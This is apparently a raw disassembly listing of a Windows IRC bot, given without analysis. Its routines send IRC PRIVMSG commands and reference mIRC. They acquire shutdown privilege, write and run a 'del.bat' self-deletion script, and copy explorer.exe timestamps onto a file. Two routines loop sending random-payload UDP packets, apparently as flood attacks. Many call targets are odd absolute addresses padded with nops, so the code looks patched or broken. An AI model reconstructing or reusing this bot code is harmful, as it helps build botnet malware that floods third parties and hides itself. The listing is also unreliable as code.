		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_419101
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_40A9D3

loc_40AA23:				; CODE XREF: sub_40A96F+62j
		dec	edi
		dec	esi
		jmp	short loc_40A9AD
; ---------------------------------------------------------------------------

loc_40AA27:				; CODE XREF: sub_40A96F+8Aj
		xor	eax, eax
		jmp	short loc_40AA30
; ---------------------------------------------------------------------------

loc_40AA2B:				; CODE XREF: sub_40A96F+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_40AA30:				; CODE XREF: sub_40A96F+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A96F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA35	proc near		; CODE XREF: sub_40EE72+3C8Ep
					; sub_40EE72+4AF7p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2650C45h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 2730000h
		lea	eax, [ebp+var_100]

loc_40AA6E:				; CODE XREF: sub_40AA35+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40AA7A
		cmp	cl, 9
		jnz	short loc_40AA7D

loc_40AA7A:				; CODE XREF: sub_40AA35+3Ej
		inc	eax
		jmp	short loc_40AA6E
; ---------------------------------------------------------------------------

loc_40AA7D:				; CODE XREF: sub_40AA35+43j
					; sub_40AA35+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40AA97
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40AA7D
		cmp	cl, 21h
		jl	short loc_40AA7D

loc_40AA97:				; CODE XREF: sub_40AA35+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43F798
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA35	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AABF	proc near		; CODE XREF: sub_40EE72+5732p
		push	esi
		push	0
		call	dword_43F638
		test	eax, eax
		jz	short loc_40AAF6
		push	1
		call	dword_43F658
		mov	esi, eax
		test	esi, esi
		jz	short loc_40AAF6
		push	edi
		push	esi
		nop
		call	near ptr 274067Ah
		push	esi
		mov	edi, eax
		nop
		call	near ptr 2740000h
		call	dword_43F6BC
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40AAF6:				; CODE XREF: sub_40AABF+Bj
					; sub_40AABF+19j
		xor	eax, eax
		pop	esi
		retn
sub_40AABF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_40EE72+48C1p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_43F674
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40AB76
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2750000h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 2590000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43F6C4
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43F6C4
		push	ebx
		nop
		call	near ptr 2740B9Bh
		push	edi
		call	near ptr 26309DCh
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_40AB78
; ---------------------------------------------------------------------------

loc_40AB76:				; CODE XREF: sub_40AAFA+16j
		xor	eax, eax

loc_40AB78:				; CODE XREF: sub_40AAFA+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB7C	proc near		; CODE XREF: sub_40E6A9+212p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43F724
		test	eax, eax
		jz	short loc_40AC1B
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_424084
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2760000h
		push	ebx
		mov	ebx, dword_424078
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 275063Eh
		push	esi
		call	ebx

loc_40AC1B:				; CODE XREF: sub_40AB7C+2Aj
					; sub_40AB7C+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AB7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC20	proc near		; CODE XREF: sub_40EE72+13C4p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43F5B0
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_40AC20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC42	proc near		; CODE XREF: sub_40CAF1+472p
					; sub_40EE72+59D4p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42F5C0, esi
		push	edi
		jz	short loc_40AC66
		cmp	dword_43F738, esi
		jnz	short loc_40AC66
		push	esi
		call	sub_40C1AE
		pop	ecx

loc_40AC66:				; CODE XREF: sub_40AC42+13j
					; sub_40AC42+1Bj
		call	sub_416F25
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 2771196h
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	near ptr 2650975h
		nop
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40ADC6
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2640000h
		push	edi
		nop
		call	near ptr 26309DCh
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43C80C
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 2720D85h
		nop
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2690000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40AD6E
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 27710A5h

loc_40AD6E:				; CODE XREF: sub_40AC42+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2770000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 276063Ch
		nop

loc_40ADC6:				; CODE XREF: sub_40AC42+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40AC42	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADCA	proc near		; CODE XREF: sub_4013EC+7p
					; sub_401992+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40ADF2
		push	[esp+arg_0]
		call	dword_43F6EC
		test	eax, eax
		jnz	short loc_40ADEB
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40ADEB:				; CODE XREF: sub_40ADCA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40ADF2:				; CODE XREF: sub_40ADCA+Dj
		retn
sub_40ADCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADF3	proc near		; CODE XREF: sub_40EB92+D6p
		mov	ecx, dword_43F590
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AE01
		call	ecx

locret_40AE01:				; CODE XREF: sub_40ADF3+Aj
		retn
sub_40ADF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE02	proc near		; CODE XREF: sub_40EE72:loc_414556p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_43F6E4
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AEC8
		sub	ecx, 32h
		jz	loc_40AEC1
		sub	ecx, 48h
		jz	short loc_40AE62
		sub	ecx, 6Eh
		jz	short loc_40AE5B

loc_40AE44:				; CODE XREF: sub_40AE02+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DA5C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_40AEA2
; ---------------------------------------------------------------------------

loc_40AE5B:				; CODE XREF: sub_40AE02+40j
		push	offset unk_42DA28
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------

loc_40AE62:				; CODE XREF: sub_40AE02+3Bj
		push	[ebp+var_8]
		call	sub_417B89
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417330
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AE8F
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_43F6E4
		cmp	eax, edi
		jz	short loc_40AEC8
		jmp	short loc_40AE44
; ---------------------------------------------------------------------------

loc_40AE8F:				; CODE XREF: sub_40AE02+79j
		push	offset unk_42D9E8

loc_40AE94:				; CODE XREF: sub_40AE02+5Ej
					; sub_40AE02+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40AEA2:				; CODE XREF: sub_40AE02+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_40AEB2:				; CODE XREF: sub_40AE02+C8j
					; sub_40AE02+DCj
		push	esi
		call	sub_417C3B
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40AEC1:				; CODE XREF: sub_40AE02+32j
		push	offset unk_42D9A8
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------

loc_40AEC8:				; CODE XREF: sub_40AE02+29j
					; sub_40AE02+89j
		cmp	[esi], edi
		jbe	short loc_40AEB2
		lea	ebx, [esi+4]

loc_40AECF:				; CODE XREF: sub_40AE02+DAj
		push	ebx
		call	dword_43F6E0
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AECF
		jmp	short loc_40AEB2
sub_40AE02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEE0	proc near		; CODE XREF: sub_40144A+243p
					; sub_401D82+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F60C
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43F99C
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4172B0
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AEE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF39	proc near		; CODE XREF: sub_4010B5+24Cp
					; sub_4010B5+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AF62
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AF55:				; CODE XREF: sub_40AF39+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AF55
		pop	edi
		jmp	short loc_40AF66
; ---------------------------------------------------------------------------

loc_40AF62:				; CODE XREF: sub_40AF39+Aj
		mov	edx, [esp+4+arg_0]

loc_40AF66:				; CODE XREF: sub_40AF39+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AF70
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40AF70:				; CODE XREF: sub_40AF39+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AF39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF86	proc near		; DATA XREF: sub_40EE72+2E51o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_43F5F4
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43F6A8
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40AFE1
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43F6EC
		cmp	eax, ebx
		jz	short loc_40AFE7

loc_40AFE1:				; CODE XREF: sub_40AF86+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40B044

loc_40AFE7:				; CODE XREF: sub_40AF86+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DAD8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B027
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h

loc_40B027:				; CODE XREF: sub_40AF86+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 25F030Eh
		nop

loc_40B044:				; CODE XREF: sub_40AF86+5Fj
		cmp	eax, ebx
		jz	short loc_40B054
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40B057
; ---------------------------------------------------------------------------

loc_40B054:				; CODE XREF: sub_40AF86+C0j
		mov	[ebp+var_4], esi

loc_40B057:				; CODE XREF: sub_40AF86+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417330
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40B077
		mov	[ebp+var_3C], eax

loc_40B077:				; CODE XREF: sub_40AF86+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40B07F
		mov	[ebp+var_38], edi

loc_40B07F:				; CODE XREF: sub_40AF86+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40B0AC

loc_40B086:				; CODE XREF: sub_40AF86+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43F58C
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40B086

loc_40B0AC:				; CODE XREF: sub_40AF86+FEj
		push	[ebp+arg_0]
		call	dword_43F720
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DA9C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B0F5
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h

loc_40B0F5:				; CODE XREF: sub_40AF86+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F030Eh
sub_40AF86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B112	proc near		; DATA XREF: sub_40EE72+2FA9o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	near ptr 25F09B1h
		nop
		push	eax
		call	sub_417302
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43F6E8
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40B1F7
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_43F6EC
		cmp	eax, edi
		jnz	short loc_40B1F0
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB4C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B1D3
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h

loc_40B1D3:				; CODE XREF: sub_40B112+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 25F030Eh
		nop

loc_40B1F0:				; CODE XREF: sub_40B112+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40B1FA
; ---------------------------------------------------------------------------

loc_40B1F7:				; CODE XREF: sub_40B112+6Ej
		lea	eax, [ebp+arg_0]

loc_40B1FA:				; CODE XREF: sub_40B112+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40B215
		call	sub_41730C
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40B218
; ---------------------------------------------------------------------------

loc_40B215:				; CODE XREF: sub_40B112+F0j
		push	[ebp+var_24]

loc_40B218:				; CODE XREF: sub_40B112+101j
		call	dword_43F668
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40B22A
		mov	[ebp+var_24], esi

loc_40B22A:				; CODE XREF: sub_40B112+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40B237
		mov	[ebp+var_24], eax

loc_40B237:				; CODE XREF: sub_40B112+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40B24B
		mov	[ebp+var_28], esi

loc_40B24B:				; CODE XREF: sub_40B112+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40B26C

loc_40B252:				; CODE XREF: sub_40B112+158j
		call	sub_41730C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40B252

loc_40B26C:				; CODE XREF: sub_40B112+13Ej
					; sub_40B112+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40B2CB
		push	0Bh
		pop	esi

loc_40B279:				; CODE XREF: sub_40B112+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_43F6CC
		push	[ebp+var_28]
		call	near ptr 26003D2h
		nop
		dec	esi
		jnz	short loc_40B279
		cmp	[ebp+var_24], edi
		jnz	short loc_40B26C
		call	sub_41730C
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43F668
		mov	[ebp+var_E], ax
		jmp	short loc_40B26C
; ---------------------------------------------------------------------------

loc_40B2CB:				; CODE XREF: sub_40B112+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB10
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B30B
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h

loc_40B30B:				; CODE XREF: sub_40B112+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F030Eh
sub_40B112	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B328	proc near		; CODE XREF: sub_40B358+2Ap
					; sub_40B390+7Ep ...
		mov	eax, dword_43F9B4
		push	esi
		mov	esi, dword_424078
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B33C
		push	eax
		call	esi

loc_40B33C:				; CODE XREF: sub_40B328+Fj
		mov	eax, dword_43F9BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B349
		push	eax
		call	esi

loc_40B349:				; CODE XREF: sub_40B328+1Cj
		mov	eax, dword_43F9B0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B356
		push	eax
		call	esi

loc_40B356:				; CODE XREF: sub_40B328+29j
		pop	esi
		retn
sub_40B328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B358	proc near		; CODE XREF: sub_40C351+14Ap
					; sub_40EE72+4883p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_43F9B8
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	short loc_40B38B
		call	sub_40B328
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40B38B:				; CODE XREF: sub_40B358+28j
		push	1
		pop	eax
		leave
		retn
sub_40B358	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B390	proc near		; CODE XREF: sub_40B417+D3p
					; sub_40B417+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43C80C
		push	[ebp+arg_4]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B3D3
		push	7D0h
		nop
		call	near ptr 26003D2h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40B3EA
; ---------------------------------------------------------------------------

loc_40B3D3:				; CODE XREF: sub_40B390+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_40B3EA:				; CODE XREF: sub_40B390+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		test	eax, eax
		jg	short loc_40B413
		call	sub_40B328

loc_40B413:				; CODE XREF: sub_40B390+7Cj
		xor	eax, eax
		leave
		retn
sub_40B390	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B417	proc near		; DATA XREF: sub_40B56C+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43F9C0

loc_40B42F:				; CODE XREF: sub_40B417+79j
					; sub_40B417+DBj
		push	esi
